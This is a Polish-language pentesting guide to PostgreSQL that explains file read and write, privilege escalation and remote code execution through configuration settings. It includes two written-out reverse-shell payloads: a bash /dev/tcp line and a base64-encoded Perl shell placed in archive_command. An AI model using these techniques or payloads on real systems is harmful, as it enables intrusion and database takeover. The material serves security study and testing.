5432,5433 - Pentesting Postgresql
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Uzyskaj dostęp już dziś:
Podstawowe informacje
PostgreSQL jest opisany jako system baz danych obiektowo-relacyjnych, który jest open source. System ten nie tylko wykorzystuje język SQL, ale także wzbogaca go o dodatkowe funkcje. Jego możliwości pozwalają na obsługę szerokiego zakresu typów danych i operacji, co czyni go wszechstronnym wyborem dla programistów i organizacji.
Domyślny port: 5432, a jeśli ten port jest już zajęty, wydaje się, że postgresql użyje następnego portu (prawdopodobnie 5433), który nie jest zajęty.
Połączenie i podstawowe enumerowanie
Jeśli uruchamiając \list
znajdziesz bazę danych o nazwie rdsadmin
, wiesz, że jesteś w bazie danych PostgreSQL AWS.
Aby uzyskać więcej informacji na temat jak nadużywać bazę danych PostgreSQL, sprawdź:
PostgreSQL injectionAutomatyczna enumeracja
Skanowanie portów
Zgodnie z tym badaniem, gdy próba połączenia kończy się niepowodzeniem, dblink
zgłasza wyjątek sqlclient_unable_to_establish_sqlconnection
, który zawiera wyjaśnienie błędu. Przykłady tych szczegółów są wymienione poniżej.
Host jest niedostępny
DETAIL: nie można połączyć się z serwerem: Brak trasy do hosta Czy serwer działa na hoście "1.2.3.4" i akceptuje połączenia TCP/IP na porcie 5678?
Port jest zamknięty
Port jest otwarty
or
Port jest otwarty lub filtrowany
W funkcjach PL/pgSQL obecnie nie jest możliwe uzyskanie szczegółów wyjątków. Jednak jeśli masz bezpośredni dostęp do serwera PostgreSQL, możesz uzyskać potrzebne informacje. Jeśli wydobycie nazw użytkowników i haseł z tabel systemowych nie jest możliwe, możesz rozważyć wykorzystanie metody ataku słownikowego omówionej w poprzedniej sekcji, ponieważ może to potencjalnie przynieść pozytywne wyniki.
Wyliczanie Uprawnień
Role
Typy Ról | |
---|---|
rolsuper | Rola ma uprawnienia superużytkownika |
rolinherit | Rola automatycznie dziedziczy uprawnienia ról, których jest członkiem |
rolcreaterole | Rola może tworzyć więcej ról |
rolcreatedb | Rola może tworzyć bazy danych |
rolcanlogin | Rola może się zalogować. To znaczy, ta rola może być użyta jako początkowy identyfikator autoryzacji sesji |
rolreplication | Rola jest rolą replikacji. Rola replikacji może inicjować połączenia replikacyjne oraz tworzyć i usuwać sloty replikacji. |
rolconnlimit | Dla ról, które mogą się logować, ustawia maksymalną liczbę jednoczesnych połączeń, które ta rola może nawiązać. -1 oznacza brak limitu. |
rolpassword | Nie hasło (zawsze odczytywane jako |
rolvaliduntil | Czas wygaśnięcia hasła (używane tylko do uwierzytelniania hasłem); null, jeśli brak wygaśnięcia |
rolbypassrls | Rola omija każdą politykę bezpieczeństwa na poziomie wiersza, zobacz Sekcja 5.8 po więcej informacji. |
rolconfig | Domyślne wartości specyficzne dla roli dla zmiennych konfiguracyjnych w czasie wykonywania |
oid | ID roli |
Interesujące Grupy
Jeśli jesteś członkiem
pg_execute_server_program
, możesz wykonywać programyJeśli jesteś członkiem
pg_read_server_files
, możesz czytać plikiJeśli jesteś członkiem
pg_write_server_files
, możesz zapisywać pliki
Zauważ, że w Postgres użytkownik, grupa i rola to to samo. To zależy od tego, jak to używasz i czy pozwalasz na logowanie.
Tabele
Funkcje
File-system actions
Read directories and files
Z tego commit członkowie zdefiniowanej grupy DEFAULT_ROLE_READ_SERVER_FILES
(nazywanej pg_read_server_files
) oraz super użytkownicy mogą używać metody COPY
na dowolnej ścieżce (sprawdź convert_and_check_filename
w genfile.c
):
Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia CREATEROLE, możesz stać się członkiem tej grupy:
Istnieją inne funkcje postgres, które można wykorzystać do odczytu pliku lub wylistowania katalogu. Tylko superużytkownicy i użytkownicy z wyraźnymi uprawnieniami mogą z nich korzystać:
Możesz znaleźć więcej funkcji w https://www.postgresql.org/docs/current/functions-admin.html
Proste zapisywanie plików
Tylko super użytkownicy i członkowie pg_write_server_files
mogą używać copy do zapisywania plików.
Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia CREATEROLE
, możesz stać się członkiem tej grupy:
Pamiętaj, że COPY nie obsługuje znaków nowej linii, dlatego nawet jeśli używasz ładunku base64, musisz wysłać jedną linię.
Bardzo ważnym ograniczeniem tej techniki jest to, że copy
nie może być używane do zapisywania plików binarnych, ponieważ modyfikuje niektóre wartości binarne.
Przesyłanie plików binarnych
Jednak istnieją inne techniki przesyłania dużych plików binarnych:
Big Binary Files Upload (PostgreSQL)Wskazówka dotycząca bug bounty: zarejestruj się w Intigriti, premium platformie bug bounty stworzonej przez hakerów, dla hackerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!
Aktualizacja danych tabeli PostgreSQL za pomocą zapisu lokalnego pliku
Jeśli masz niezbędne uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, nadpisując powiązany węzeł pliku w katalogu danych PostgreSQL. Więcej na ten temat tutaj.
Wymagane kroki:
Uzyskaj katalog danych PostgreSQL
Uwaga: Jeśli nie możesz pobrać aktualnej ścieżki katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania SELECT version()
i spróbować wymusić ścieżkę. Typowe ścieżki katalogu danych w instalacjach PostgreSQL na systemach Unix to /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Typowa nazwa klastra to main
. 2. Uzyskaj względną ścieżkę do węzła pliku, powiązanego z docelową tabelą
To zapytanie powinno zwrócić coś w stylu base/3/1337
. Pełna ścieżka na dysku będzie wynosić $DATA_DIRECTORY/base/3/1337
, tj. /var/lib/postgresql/13/main/base/3/1337
. 3. Pobierz węzeł pliku za pomocą funkcji lo_*
Uzyskaj typ danych, powiązany z docelową tabelą
Użyj PostgreSQL Filenode Editor, aby edytować węzeł pliku; ustaw wszystkie flagi boolean
rol*
na 1, aby uzyskać pełne uprawnienia.
(Opcjonalnie) Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
Teraz powinieneś zobaczyć zaktualizowane wartości tabeli w PostgreSQL.
Możesz również stać się superadministratorem, edytując tabelę pg_authid
. Zobacz następną sekcję.
RCE
RCE do programu
Od wersji 9.3 tylko superużytkownicy i członkowie grupy pg_execute_server_program
mogą używać copy do RCE (przykład z eksfiltracją:
Przykład do exec:
Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienia CREATEROLE
, możesz stać się członkiem tej grupy:
Lub użyj modułu multi/postgres/postgres_copy_from_program_cmd_exec
z metasploit.
Więcej informacji na temat tej podatności tutaj. Chociaż zgłoszono to jako CVE-2019-9193, Postges ogłosił, że to funkcja i nie zostanie naprawiona.
RCE z językami PostgreSQL
RCE with PostgreSQL LanguagesRCE z rozszerzeniami PostgreSQL
Gdy nauczyłeś się z poprzedniego posta jak przesyłać pliki binarne, możesz spróbować uzyskać RCE przesyłając rozszerzenie postgresql i ładując je.
RCE with PostgreSQL ExtensionsRCE z pliku konfiguracyjnego PostgreSQL
Następujące wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych zapytań SELECT
Plik konfiguracyjny PostgreSQL jest zapisywalny przez użytkownika postgres, który uruchamia bazę danych, więc jako superużytkownik możesz zapisywać pliki w systemie plików, a tym samym możesz nadpisać ten plik.
RCE z ssl_passphrase_command
Więcej informacji na temat tej techniki tutaj.
Plik konfiguracyjny ma kilka interesujących atrybutów, które mogą prowadzić do RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Ścieżka do klucza prywatnego bazy danychssl_passphrase_command = ''
Jeśli plik prywatny jest chroniony hasłem (szyfrowany), postgresql wykona polecenie wskazane w tym atrybucie.ssl_passphrase_command_supports_reload = off
Jeśli ten atrybut jest włączony, to polecenie wykonywane, jeśli klucz jest chroniony hasłem, zostanie wykonane, gdypg_reload_conf()
zostanie wykonane.
Wtedy atakujący będzie musiał:
Zrzucić klucz prywatny z serwera
Szyfrować pobrany klucz prywatny:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Nadpisać
Zrzucić aktualną konfigurację postgresql
Nadpisać konfigurację z wymienionymi atrybutami:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Wykonać
pg_reload_conf()
Podczas testowania zauważyłem, że to zadziała tylko wtedy, gdy plik klucza prywatnego ma uprawnienia 640, jest własnością roota i grupy ssl-cert lub postgres (aby użytkownik postgres mógł go odczytać) i znajduje się w /var/lib/postgresql/12/main.
RCE z archive_command
Więcej informacji na temat tej konfiguracji i WAL tutaj.
Innym atrybutem w pliku konfiguracyjnym, który można wykorzystać, jest archive_command
.
Aby to zadziałało, ustawienie archive_mode
musi być 'on'
lub 'always'
. Jeśli to prawda, możemy nadpisać polecenie w archive_command
i wymusić jego wykonanie za pomocą operacji WAL (logowanie przed zapisaniem).
Ogólne kroki to:
Sprawdź, czy tryb archiwizacji jest włączony:
SELECT current_setting('archive_mode')
Nadpisz
archive_command
ładunkiem. Na przykład, odwrotna powłoka:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Przeładuj konfigurację:
SELECT pg_reload_conf()
Wymuś wykonanie operacji WAL, co spowoduje wywołanie polecenia archiwizacji:
SELECT pg_switch_wal()
lubSELECT pg_switch_xlog()
dla niektórych wersji Postgres
RCE z bibliotekami preload
Więcej informacji na temat tej techniki tutaj.
Ten wektor ataku wykorzystuje następujące zmienne konfiguracyjne:
session_preload_libraries
-- biblioteki, które będą ładowane przez serwer PostgreSQL podczas połączenia klienta.dynamic_library_path
-- lista katalogów, w których serwer PostgreSQL będzie szukał bibliotek.
Możemy ustawić wartość dynamic_library_path
na katalog, który jest zapisywalny przez użytkownika postgres
uruchamiającego bazę danych, np. katalog /tmp/
, i przesłać tam złośliwy obiekt .so
. Następnie wymusimy, aby serwer PostgreSQL załadował naszą nowo przesłaną bibliotekę, włączając ją w zmienną session_preload_libraries
.
Kroki ataku to:
Pobierz oryginalny
postgresql.conf
Włącz katalog
/tmp/
w wartośćdynamic_library_path
, np.dynamic_library_path = '/tmp:$libdir'
Włącz nazwę złośliwej biblioteki w wartość
session_preload_libraries
, np.session_preload_libraries = 'payload.so'
Sprawdź główną wersję PostgreSQL za pomocą zapytania
SELECT version()
Skompiluj kod złośliwej biblioteki z odpowiednim pakietem deweloperskim PostgreSQL Przykładowy kod:
Kompilacja kodu:
Prześlij złośliwy
postgresql.conf
, utworzony w krokach 2-3, i nadpisz oryginalnyPrześlij
payload.so
z kroku 5 do katalogu/tmp
Przeładuj konfigurację serwera, uruchamiając ponownie serwer lub wywołując zapytanie
SELECT pg_reload_conf()
Przy następnym połączeniu z bazą danych otrzymasz połączenie odwrotnej powłoki.
Postgres Privesc
CREATEROLE Privesc
Grant
Zgodnie z dokumentacją: Role mające CREATEROLE
uprawnienia mogą przyznawać lub odbierać członkostwo w dowolnej roli, która nie jest superużytkownikiem.
Więc, jeśli masz uprawnienia CREATEROLE
, możesz przyznać sobie dostęp do innych ról (które nie są superużytkownikami), co może dać ci możliwość odczytu i zapisu plików oraz wykonywania poleceń:
Zmiana hasła
Użytkownicy z tą rolą mogą również zmieniać hasła innych nie-superużytkowników:
Privesc do SUPERUSER
Jest dość powszechne, że lokalni użytkownicy mogą logować się do PostgreSQL bez podawania hasła. Dlatego, gdy już zdobędziesz uprawnienia do wykonywania kodu, możesz nadużyć tych uprawnień, aby nadać sobie rolę SUPERUSER
:
Zwykle jest to możliwe z powodu następujących linii w pliku pg_hba.conf
:
ALTER TABLE privesc
W tym artykule wyjaśniono, jak możliwe było privesc w Postgres GCP, wykorzystując uprawnienia ALTER TABLE, które zostały przyznane użytkownikowi.
Kiedy próbujesz uczynić innego użytkownika właścicielem tabeli, powinieneś otrzymać błąd uniemożliwiający to, ale najwyraźniej GCP dał tę opcję nie-superużytkownikowi postgres w GCP:
Łącząc tę ideę z faktem, że kiedy polecenia INSERT/UPDATE/ANALYZE są wykonywane na tabeli z funkcją indeksu, funkcja jest wywoływana jako część polecenia z uprawnieniami właściciela tabeli. Możliwe jest stworzenie indeksu z funkcją i nadanie uprawnień właściciela superużytkownikowi nad tą tabelą, a następnie uruchomienie ANALYZE na tabeli z złośliwą funkcją, która będzie mogła wykonywać polecenia, ponieważ korzysta z uprawnień właściciela.
Eksploatacja
Zacznij od utworzenia nowej tabeli.
Wstaw do tabeli kilka nieistotnych danych, aby dostarczyć dane dla funkcji indeksu.
Opracuj złośliwą funkcję indeksu, która zawiera ładunek do wykonania kodu, umożliwiając wykonywanie nieautoryzowanych poleceń.
Zmień właściciela tabeli na "cloudsqladmin", który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymywania bazy danych.
Wykonaj operację ANALYZE na tabeli. Ta akcja zmusza silnik PostgreSQL do przełączenia się na kontekst użytkownika właściciela tabeli, "cloudsqladmin." W konsekwencji, złośliwa funkcja indeksu jest wywoływana z uprawnieniami "cloudsqladmin", co umożliwia wykonanie wcześniej nieautoryzowanego polecenia powłoki.
W PostgreSQL ten proces wygląda mniej więcej tak:
Następnie tabela shell_commands_results
będzie zawierać wyniki wykonania kodu:
Local Login
Niektóre źle skonfigurowane instancje postgresql mogą pozwalać na logowanie się dowolnego lokalnego użytkownika, możliwe jest logowanie z 127.0.0.1 za pomocą funkcji dblink
:
Zauważ, że aby poprzednie zapytanie działało funkcja dblink
musi istnieć. Jeśli nie istnieje, możesz spróbować ją stworzyć za pomocą
Jeśli masz hasło użytkownika z większymi uprawnieniami, ale użytkownik nie ma pozwolenia na logowanie z zewnętrznego adresu IP, możesz użyć następującej funkcji, aby wykonywać zapytania jako ten użytkownik:
Można sprawdzić, czy ta funkcja istnieje za pomocą:
Niestandardowa zdefiniowana funkcja z SECURITY DEFINER
W tym opisie, pentesterzy byli w stanie uzyskać podwyższone uprawnienia w instancji postgres dostarczonej przez IBM, ponieważ znaleźli tę funkcję z flagą SECURITY DEFINER:
Jak wyjaśniono w dokumentacji, funkcja z SECURITY DEFINER jest wykonywana z uprawnieniami użytkownika, który ją posiada. Dlatego, jeśli funkcja jest vulnerybilna na SQL Injection lub wykonuje jakieś uprzywilejowane działania z parametrami kontrolowanymi przez atakującego, może być nadużywana do eskalacji uprawnień w postgres.
W linii 4 poprzedniego kodu widać, że funkcja ma flagę SECURITY DEFINER.
I następnie wykonaj polecenia:
Atak Brute Force z PL/pgSQL
PL/pgSQL to w pełni funkcjonalny język programowania, który oferuje większą kontrolę proceduralną w porównaniu do SQL. Umożliwia użycie pętli i innych struktur kontrolnych w celu ulepszenia logiki programu. Ponadto, instrukcje SQL i wyzwalacze mają zdolność wywoływania funkcji stworzonych przy użyciu języka PL/pgSQL. Ta integracja pozwala na bardziej kompleksowe i wszechstronne podejście do programowania i automatyzacji baz danych. Możesz nadużyć tego języka, aby poprosić PostgreSQL o przeprowadzenie ataku brute-force na dane logowania użytkowników.
PL/pgSQL Password BruteforcePrivesc przez Nadpisanie Wewnętrznych Tabel PostgreSQL
Następujący wektor privesc jest szczególnie przydatny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
Jeśli możesz czytać i pisać pliki serwera PostgreSQL, możesz stać się superużytkownikiem przez nadpisanie węzła pliku na dysku PostgreSQL, związanego z wewnętrzną tabelą pg_authid
.
Przeczytaj więcej o tej technice tutaj.
Kroki ataku to:
Uzyskaj katalog danych PostgreSQL
Uzyskaj względną ścieżkę do węzła pliku, związanego z tabelą
pg_authid
Pobierz węzeł pliku za pomocą funkcji
lo_*
Uzyskaj typ danych, związany z tabelą
pg_authid
Użyj PostgreSQL Filenode Editor, aby edytować węzeł pliku; ustaw wszystkie flagi boolean
rol*
na 1, aby uzyskać pełne uprawnienia.Ponownie załaduj edytowany węzeł pliku za pomocą funkcji
lo_*
i nadpisz oryginalny plik na dysku(Opcjonalnie) Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
Teraz powinieneś mieć uprawnienia pełnego superadmina.
POST
logging
W pliku postgresql.conf możesz włączyć logi postgresql, zmieniając:
Then, zrestartuj usługę.
pgadmin
pgadmin to platforma administracyjna i deweloperska dla PostgreSQL. Możesz znaleźć hasła w pliku pgadmin4.db Możesz je odszyfrować za pomocą funkcji decrypt w skrypcie: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Uwierzytelnianie klientów w PostgreSQL jest zarządzane przez plik konfiguracyjny o nazwie pg_hba.conf. Plik ten zawiera szereg rekordów, z których każdy określa typ połączenia, zakres adresów IP klientów (jeśli dotyczy), nazwę bazy danych, nazwę użytkownika oraz metodę uwierzytelniania, która ma być użyta do dopasowania połączeń. Pierwszy rekord, który pasuje do typu połączenia, adresu klienta, żądanej bazy danych i nazwy użytkownika, jest używany do uwierzytelniania. Nie ma możliwości powrotu ani kopii zapasowej, jeśli uwierzytelnianie się nie powiedzie. Jeśli żaden rekord nie pasuje, dostęp jest odmawiany.
Dostępne metody uwierzytelniania oparte na haśle w pg_hba.conf to md5, crypt i password. Metody te różnią się sposobem przesyłania hasła: haszowane MD5, szyfrowane crypt lub w postaci czystego tekstu. Ważne jest, aby zauważyć, że metoda crypt nie może być używana z hasłami, które zostały zaszyfrowane w pg_authid.
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Uzyskaj dostęp już dziś:
Last updated